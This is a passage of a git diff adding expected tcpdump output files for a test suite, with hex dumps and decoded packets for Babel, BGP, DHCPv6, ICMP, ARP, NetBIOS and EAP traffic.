+	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+	0x00e0:  c0a8 0414                                ....
+ In ethertype IPv6 (0x86dd), length 112: 
+	0x0000:  6000 0000 0038 0001 fe80 0000 0000 0000  `....8..........
+	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+	0x0030:  8f00 3f60 0000 0002 0400 0000 ff02 0000  ..?`............
+	0x0040:  0000 0000 0000 0000 0001 0006 0400 0000  ................
+	0x0050:  ff02 0000 0000 0000 cca6 c0f9 e182 5359  ..............SY
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/babel_auth.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/babel_auth.out
new file mode 100644
index 0000000000000000000000000000000000000000..3c49cd0a3210d889c4b60de07759883dea817bc1
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/babel_auth.out
@@ -0,0 +1,31 @@
+b0:99:28:c8:d6:46 > 33:33:00:01:00:06, ethertype IPv6 (0x86dd), length 490: 
+	0x0000:  6c00 0000 01b4 1101 fe80 0000 0000 0000  l...............
+	0x0010:  b299 28ff fec8 d646 ff02 0000 0000 0000  ..(....F........
+	0x0020:  0000 0000 0001 0006 1a28 1a28 01b4 298d  .........(.(..).
+	0x0030:  2a02 01a8 0406 0000 e316 0190 080a 0040  *..............@
+	0x0040:  0000 ffff a1af ffff 0902 0000 0b06 0002  ................
+	0x0050:  4fd0 c1f0 0c16 001e ad0f a7cd 8d5a 1898  O............Z..
+	0x0060:  ec54 09c8 edda 68b3 aca2 1b80 0c22 0032  .T....h......".2
+	0x0070:  8239 f283 d985 047f a4b8 8597 fde3 2464  .9............$d
+	0x0080:  55c6 e4dd 917b 1441 c2f3 a82b 9f73 7674  U....{.A...+.svt
+	0x0090:  0c42 03e8 6718 cb4c 2bb0 976c 127a b3cc  .B..g..L+..l.z..
+	0x00a0:  cbfa 1105 a1d1 58f0 35bc 9fad 86b0 610a  ......X.5.....a.
+	0x00b0:  7acd 27e5 a3d5 a309 0ffb 0312 d7cb b318  z.'.............
+	0x00c0:  34e5 d3ea 2b68 cd1f ec3c fb9c e731 d16b  4...+h...<...1.k
+	0x00d0:  a8fe ba8c 0c32 03e8 d2a5 b80f f9d0 0690  .....2..........
+	0x00e0:  7e3b 6601 c0c2 55d7 d12d 6ec6 1815 e413  ~;f...U..-n.....
+	0x00f0:  a334 e2a0 d927 1c75 afbc 086c 070c 714e  .4...'.u...l..qN
+	0x0100:  3eff 3496 c20c 56fb 0c16 0064 7213 ced6  >.4...V....dr...
+	0x0110:  6fe7 1540 34ec 64cd 14ae 4142 a092 df33  o..@4.d...AB...3
+	0x0120:  0c42 07d0 2a5d 9d55 393b 19e4 40fa c49b  .B..*].U9;..@...
+	0x0130:  da52 1e18 a7fe 77f7 ab4a 9037 7009 e46e  .R....w..J.7p..n
+	0x0140:  2ffe 4933 6435 c7e4 e7be 2159 96df 4f59  /.I3d5....!Y..OY
+	0x0150:  c167 ea1c ccdb 4ff7 88da 29a3 0e34 d974  .g....O...)..4.t
+	0x0160:  307a dff4 0c32 07d0 fe91 af27 eee1 37ef  0z...2.....'..7.
+	0x0170:  489f 37fe e449 100c da8c cb3e 794d 0c4a  H.7..I.....>yM.J
+	0x0180:  225d 1272 4a8c e2ff c858 11b8 79cc 566f  "].rJ....X..y.Vo
+	0x0190:  d172 2698 4709 1ed1 0c42 0bb8 38c4 d828  .r&.G....B..8..(
+	0x01a0:  83a5 7785 00d7 28d1 e243 e757 9de9 6fa7  ..w...(..C.W..o.
+	0x01b0:  26c9 db7f 0805 c52e 96fe fdce 7a5f b9af  &...........z_..
+	0x01c0:  2cb8 4570 3926 eaab 43c3 e449 89d6 ccb1  ,.Ep9&..C..I....
+	0x01d0:  58fc 06db 455e 9f8d 0550 b54f            X...E^...P.O
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/bgp_vpn_attrset.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/bgp_vpn_attrset.out
new file mode 100644
index 0000000000000000000000000000000000000000..a0a9f1c097b9bfbc6e0914c34debe7f5f36d29ff
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/bgp_vpn_attrset.out
@@ -0,0 +1,19 @@
+IP (tos 0xc0, ttl 62, id 58628, offset 0, flags [none], proto TCP (6), length 173)
+    12.4.4.4.2051 > 12.1.1.1.179: Flags [P.], cksum 0xcf18 (correct), seq 3293077573:3293077694, ack 3348108582, win 16384, options [nop,nop,TS val 383131 ecr 890299], length 121: BGP, length: 121
+	Update Message (2), length: 121
+	  Origin (1), length: 1, Flags [T]: IGP
+	  AS Path (2), length: 0, Flags [T]: empty
+	  Local Preference (5), length: 4, Flags [T]: 100
+	  Extended Community (16), length: 8, Flags [OT]: 
+	    target (0x0002), Flags [none]: 300:300 (= 0.0.1.44)
+	  Attribute Set (128), length: 36, Flags [OT]: 
+	    Origin AS: 65001
+	      Origin (1), length: 1, Flags [T]: IGP
+	      AS Path (2), length: 4, Flags [T]: 5555 
+	      Local Preference (5), length: 4, Flags [T]: 44
+	      Originator ID (9), length: 4, Flags [O]: 22.5.5.5
+	      Cluster List (10), length: 4, Flags [O]: 22.5.5.5
+	  Multi-Protocol Reach NLRI (14), length: 30, Flags [OE]: 
+	    AFI: IPv4 (1), SAFI: labeled VPN Unicast (128)
+	    nexthop: RD: 0:0 (= 0.0.0.0), 12.4.4.4, nh-length: 12, no SNPA
+	      RD: 500:500 (= 0.0.1.244), 133.0.0.0/8, label:100208 (bottom)
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dhcpv6-AFTR-Name-RFC6334.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dhcpv6-AFTR-Name-RFC6334.out
new file mode 100644
index 0000000000000000000000000000000000000000..ad4017b77e5e4ade880acd581894a7b111e5f4c4
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dhcpv6-AFTR-Name-RFC6334.out
@@ -0,0 +1,43 @@
+00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 110: 
+	0x0000:  6c00 0000 0038 1140 fe80 0000 0000 0000  l....8.@........
+	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+	0x0020:  0000 0000 0001 0002 0222 0223 0038 a641  .........".#.8.A
+	0x0030:  01d8 1eb8 0001 000a 0003 0001 0001 0203  ................
+	0x0040:  0405 0006 0004 0017 0040 0008 0002 0000  .........@......
+	0x0050:  0019 000c 0203 0405 0000 0e10 0000 1518  ................
+00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 196: 
+	0x0000:  6000 0000 008e 1140 fe80 0000 0000 0000  `......@........
+	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+	0x0020:  0201 02ff fe03 0405 0223 0222 008e a2c0  .........#."....
+	0x0030:  02d8 1eb8 0019 0029 0203 0405 0000 0096  .......)........
+	0x0040:  0000 00fa 001a 0019 0000 00fa 0000 012c  ...............,
+	0x0050:  382a 0000 0100 0101 0000 0000 0000 0000  8*..............
+	0x0060:  0000 0100 0a00 0300 0100 0102 0304 0500  ................
+	0x0070:  0200 0e00 0100 0118 3f4e f000 1122 3344  ........?N..."3D
+	0x0080:  5500 0700 010a 0017 0010 2a01 0000 0000  U.........*.....
+	0x0090:  0000 0000 0000 0000 0001 0040 0018 0961  ...........@...a
+	0x00a0:  6674 722d 6e61 6d65 086d 7964 6f6d 6169  ftr-name.mydomai
+	0x00b0:  6e03 6e65 7400                           n.net.
+00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 157: 
+	0x0000:  6c00 0000 0067 1140 fe80 0000 0000 0000  l....g.@........
+	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+	0x0020:  0000 0000 0001 0002 0222 0223 0067 5876  .........".#.gXv
+	0x0030:  031e 291d 0001 000a 0003 0001 0001 0203  ..).............
+	0x0040:  0405 0002 000e 0001 0001 183f 4ef0 0011  ...........?N...
+	0x0050:  2233 4455 0006 0004 0017 0040 0008 0002  "3DU.......@....
+	0x0060:  0000 0019 0029 0203 0405 0000 0e10 0000  .....)..........
+	0x0070:  1518 001a 0019 0000 1c20 0000 1d4c 382a  .............L8*
+	0x0080:  0000 0100 0101 0000 0000 0000 0000 00    ...............
+00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 196: 
+	0x0000:  6000 0000 008e 1140 fe80 0000 0000 0000  `......@........
+	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+	0x0020:  0201 02ff fe03 0405 0223 0222 008e 9415  .........#."....
+	0x0030:  071e 291d 0019 0029 0203 0405 0000 0096  ..)....)........
+	0x0040:  0000 00fa 001a 0019 0000 00fa 0000 012c  ...............,
+	0x0050:  382a 0000 0100 0101 0000 0000 0000 0000  8*..............
+	0x0060:  0000 0100 0a00 0300 0100 0102 0304 0500  ................
+	0x0070:  0200 0e00 0100 0118 3f4e f000 1122 3344  ........?N..."3D
+	0x0080:  5500 0700 010a 0017 0010 2a01 0000 0000  U.........*.....
+	0x0090:  0000 0000 0000 0000 0001 0040 0018 0961  ...........@...a
+	0x00a0:  6674 722d 6e61 6d65 086d 7964 6f6d 6169  ftr-name.mydomai
+	0x00b0:  6e03 6e65 7400                           n.net.
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dhcpv6-ia-na.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dhcpv6-ia-na.out
new file mode 100644
index 0000000000000000000000000000000000000000..46b0e9ed4ebc29950898ce0c82d75a7e7608ff6d
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dhcpv6-ia-na.out
@@ -0,0 +1,35 @@
+00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 110: 
+	0x0000:  6c00 0000 0038 1140 fe80 0000 0000 0000  l....8.@........
+	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+	0x0020:  0000 0000 0001 0002 0222 0223 0038 1123  .........".#.8.#
+	0x0030:  0190 b45c 0001 000a 0003 0001 0001 0203  ...\............
+	0x0040:  0405 0006 0004 0017 0018 0008 0002 0000  ................
+	0x0050:  0003 000c 0203 0405 0000 0e10 0000 1518  ................
+00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 142: 
+	0x0000:  6000 0000 0058 1140 fe80 0000 0000 0000  `....X.@........
+	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+	0x0020:  0201 02ff fe03 0405 0223 0222 0058 2b6f  .........#.".X+o
+	0x0030:  0290 b45c 0003 0028 0203 0405 0000 0e10  ...\...(........
+	0x0040:  0000 1518 0005 0018 2a00 0001 0001 0200  ........*.......
+	0x0050:  38e6 b22e c440 acdf 0000 1194 0000 1c20  8....@..........
+	0x0060:  0001 000a 0003 0001 0001 0203 0405 0002  ................
+	0x0070:  000e 0001 0001 1846 488c 0011 2233 4455  .......FH..."3DU
+00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 156: 
+	0x0000:  6c00 0000 0066 1140 fe80 0000 0000 0000  l....f.@........
+	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+	0x0020:  0000 0000 0001 0002 0222 0223 0066 3c58  .........".#.f<X
+	0x0030:  032f fdd1 0001 000a 0003 0001 0001 0203  ./..............
+	0x0040:  0405 0002 000e 0001 0001 1846 488c 0011  ...........FH...
+	0x0050:  2233 4455 0006 0004 0017 0018 0008 0002  "3DU............
+	0x0060:  0000 0003 0028 0203 0405 0000 0e10 0000  .....(..........
+	0x0070:  1518 0005 0018 2a00 0001 0001 0200 38e6  ......*.......8.
+	0x0080:  b22e c440 acdf 0000 1c20 0000 1d4c       ...@.........L
+00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 142: 
+	0x0000:  6000 0000 0058 1140 fe80 0000 0000 0000  `....X.@........
+	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+	0x0020:  0201 02ff fe03 0405 0223 0222 0058 dd5a  .........#.".X.Z
+	0x0030:  072f fdd1 0003 0028 0203 0405 0000 0e10  ./.....(........
+	0x0040:  0000 1518 0005 0018 2a00 0001 0001 0200  ........*.......
+	0x0050:  38e6 b22e c440 acdf 0000 1194 0000 1c20  8....@..........
+	0x0060:  0001 000a 0003 0001 0001 0203 0405 0002  ................
+	0x0070:  000e 0001 0001 1846 488c 0011 2233 4455  .......FH..."3DU
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dhcpv6-ia-pd.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dhcpv6-ia-pd.out
new file mode 100644
index 0000000000000000000000000000000000000000..f1b23393d80f6f8bccd87dc7e65633e6b501bf86
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dhcpv6-ia-pd.out
@@ -0,0 +1,37 @@
+00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 110: 
+	0x0000:  6c00 0000 0038 1140 fe80 0000 0000 0000  l....8.@........
+	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+	0x0020:  0000 0000 0001 0002 0222 0223 0038 e484  .........".#.8..
+	0x0030:  01e1 e093 0001 000a 0003 0001 0001 0203  ................
+	0x0040:  0405 0006 0004 0017 0018 0008 0002 0000  ................
+	0x0050:  0019 000c 0203 0405 0000 0e10 0000 1518  ................
+00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 143: 
+	0x0000:  6000 0000 0059 1140 fe80 0000 0000 0000  `....Y.@........
+	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+	0x0020:  0201 02ff fe03 0405 0223 0222 0059 778b  .........#.".Yw.
+	0x0030:  02e1 e093 0019 0029 0203 0405 0000 0e10  .......)........
+	0x0040:  0000 1518 001a 0019 0000 1194 0000 1c20  ................
+	0x0050:  382a 0000 0100 0101 0000 0000 0000 0000  8*..............
+	0x0060:  0000 0100 0a00 0300 0100 0102 0304 0500  ................
+	0x0070:  0200 0e00 0100 0118 4649 9900 1122 3344  ........FI..."3D
+	0x0080:  55                                       U
+00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 157: 
+	0x0000:  6c00 0000 0067 1140 fe80 0000 0000 0000  l....g.@........
+	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+	0x0020:  0000 0000 0001 0002 0222 0223 0067 d68c  .........".#.g..
+	0x0030:  0312 b08a 0001 000a 0003 0001 0001 0203  ................
+	0x0040:  0405 0002 000e 0001 0001 1846 4999 0011  ...........FI...
+	0x0050:  2233 4455 0006 0004 0017 0018 0008 0002  "3DU............
+	0x0060:  0000 0019 0029 0203 0405 0000 0e10 0000  .....)..........
+	0x0070:  1518 001a 0019 0000 1c20 0000 1d4c 382a  .............L8*
+	0x0080:  0000 0100 0101 0000 0000 0000 0000 00    ...............
+00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 143: 
+	0x0000:  6000 0000 0059 1140 fe80 0000 0000 0000  `....Y.@........
+	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+	0x0020:  0201 02ff fe03 0405 0223 0222 0059 a363  .........#.".Y.c
+	0x0030:  0712 b08a 0019 0029 0203 0405 0000 0e10  .......)........
+	0x0040:  0000 1518 001a 0019 0000 1194 0000 1c20  ................
+	0x0050:  382a 0000 0100 0101 0000 0000 0000 0000  8*..............
+	0x0060:  0000 0100 0a00 0300 0100 0102 0304 0500  ................
+	0x0070:  0200 0e00 0100 0118 4649 9900 1122 3344  ........FI..."3D
+	0x0080:  55                                       U
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dhcpv6-ia-ta.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dhcpv6-ia-ta.out
new file mode 100644
index 0000000000000000000000000000000000000000..9ff750b2597dd1cde008c622ec8b3f4f1b68e24c
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dhcpv6-ia-ta.out
@@ -0,0 +1,35 @@
+00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 102: 
+	0x0000:  6c00 0000 0030 1140 fe80 0000 0000 0000  l....0.@........
+	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+	0x0020:  0000 0000 0001 0002 0222 0223 0030 38e6  .........".#.08.
+	0x0030:  0128 b040 0001 000a 0003 0001 0001 0203  .(.@............
+	0x0040:  0405 0006 0004 0017 0018 0008 0002 0000  ................
+	0x0050:  0004 0004 0203 0405                      ........
+00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 134: 
+	0x0000:  6000 0000 0050 1140 fe80 0000 0000 0000  `....P.@........
+	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+	0x0020:  0201 02ff fe03 0405 0223 0222 0050 4baf  .........#.".PK.
+	0x0030:  0228 b040 0004 0020 0203 0405 0005 0018  .(.@............
+	0x0040:  2a00 0001 0001 0200 5da2 f920 84c4 88cc  *.......].......
+	0x0050:  0000 1194 0000 1c20 0001 000a 0003 0001  ................
+	0x0060:  0001 0203 0405 0002 000e 0001 0001 1846  ...............F
+	0x0070:  47f0 0011 2233 4455                      G..."3DU
+00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 148: 
+	0x0000:  6c00 0000 005e 1140 fe80 0000 0000 0000  l....^.@........
+	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+	0x0020:  0000 0000 0001 0002 0222 0223 005e 47a5  .........".#.^G.
+	0x0030:  032b 0e45 0001 000a 0003 0001 0001 0203  .+.E............
+	0x0040:  0405 0002 000e 0001 0001 1846 47f0 0011  ...........FG...
+	0x0050:  2233 4455 0006 0004 0017 0018 0008 0002  "3DU............
+	0x0060:  0000 0004 0020 0203 0405 0005 0018 2a00  ..............*.
+	0x0070:  0001 0001 0200 5da2 f920 84c4 88cc 0000  ......].........
+	0x0080:  1c20 0000 1d4c                           .....L
+00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 134: 
+	0x0000:  6000 0000 0050 1140 fe80 0000 0000 0000  `....P.@........
+	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+	0x0020:  0201 02ff fe03 0405 0223 0222 0050 e8a7  .........#.".P..
+	0x0030:  072b 0e45 0004 0020 0203 0405 0005 0018  .+.E............
+	0x0040:  2a00 0001 0001 0200 5da2 f920 84c4 88cc  *.......].......
+	0x0050:  0000 1194 0000 1c20 0001 000a 0003 0001  ................
+	0x0060:  0001 0203 0405 0002 000e 0001 0001 1846  ...............F
+	0x0070:  47f0 0011 2233 4455                      G..."3DU
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dio.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dio.out
new file mode 100644
index 0000000000000000000000000000000000000000..6e1f8221bd8716d4ef871a8daa76bdc1dd39cb68
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/dio.out
@@ -0,0 +1,5 @@
+  M 12:00:00:64:64:23 ethertype IPv6 (0x86dd), length 80: 
+	0x0000:  6000 0000 0018 3aff fe80 0000 0000 0000  `.....:.........
+	0x0010:  1000 00ff fe64 6423 ff02 0000 0000 0000  .....dd#........
+	0x0020:  0000 0000 0000 0001 9b02 7769 000a 2a01  ..........wi..*.
+	0x0030:  7468 6973 6973 6d79 6e69 6365 6461 6731  thisismynicedag1
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/e1000g.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/e1000g.out
new file mode 100644
index 0000000000000000000000000000000000000000..0cc3b9e1003e7060377f3af8fc2be5e391d89e11
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/e1000g.out
@@ -0,0 +1,20 @@
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 0, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 0, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 1, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 1, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 2, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 2, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 3, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 3, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 4, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 4, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 5, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 5, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 6, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 6, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 7, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 7, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 8, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 8, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 9, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 9, length 64
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/eapon1.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/eapon1.out
new file mode 100644
index 0000000000000000000000000000000000000000..69f7537c09c94c670eb8634e579251c560845c60
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/eapon1.out
@@ -0,0 +1,114 @@
+IP 192.168.1.249.138 > 192.168.1.255.138: NBT UDP PACKET(138)
+IP 192.168.1.249.138 > 192.168.1.255.138: NBT UDP PACKET(138)
+IP 192.168.1.249.138 > 192.168.1.255.138: NBT UDP PACKET(138)
+IP 192.168.1.249.137 > 192.168.1.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 192.168.1.249.137 > 192.168.1.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 192.168.1.249.137 > 192.168.1.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 192.168.1.249.138 > 192.168.1.255.138: NBT UDP PACKET(138)
+IP 192.168.1.249.137 > 192.168.1.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 192.168.1.249.137 > 192.168.1.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 192.168.1.249.137 > 192.168.1.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+ARP, Request who-has 192.168.1.1 tell 192.168.1.249, length 28
+ARP, Reply 192.168.1.1 is-at 00:0d:88:4f:25:91, length 46
+IP 192.168.1.249.68 > 192.168.1.1.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+EAP packet (0) v1, len 5
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+EAPOL start (1) v1, len 0
+EAP packet (0) v1, len 5
+EAP packet (0) v1, len 45
+EAP packet (0) v1, len 20
+EAP packet (0) v1, len 76
+EAP packet (0) v1, len 80
+EAP packet (0) v1, len 28
+EAP packet (0) v1, len 4
+EAPOL key (3) v1, len 57
+EAPOL key (3) v1, len 44
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+EAPOL start (1) v1, len 0
+EAP packet (0) v1, len 5
+EAP packet (0) v1, len 45
+EAP packet (0) v1, len 20
+EAP packet (0) v1, len 76
+EAP packet (0) v1, len 80
+EAP packet (0) v1, len 28
+EAP packet (0) v1, len 4
+EAPOL key (3) v1, len 57
+EAPOL key (3) v1, len 44
+ARP, Request who-has 169.254.67.194 tell 169.254.67.194, length 28
+ARP, Request who-has 169.254.67.194 tell 169.254.67.194, length 28
+ARP, Request who-has 169.254.67.194 tell 169.254.67.194, length 28
+IP 169.254.67.194.4299 > 239.255.255.250.1900: UDP, length 133
+IP 169.254.67.194 > 224.0.0.22: igmp v3 report, 1 group record(s)
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194 > 224.0.0.22: igmp v3 report, 1 group record(s)
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.4299 > 239.255.255.250.1900: UDP, length 133
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+EAPOL start (1) v1, len 0
+EAP packet (0) v1, len 5
+EAP packet (0) v1, len 45
+EAP packet (0) v1, len 20
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+EAP packet (0) v1, len 76
+EAP packet (0) v1, len 80
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+EAP packet (0) v1, len 28
+EAP packet (0) v1, len 4
+EAPOL key (3) v1, len 57
+EAPOL key (3) v1, len 44
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+IP 169.254.67.194.4299 > 239.255.255.250.1900: UDP, length 133
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
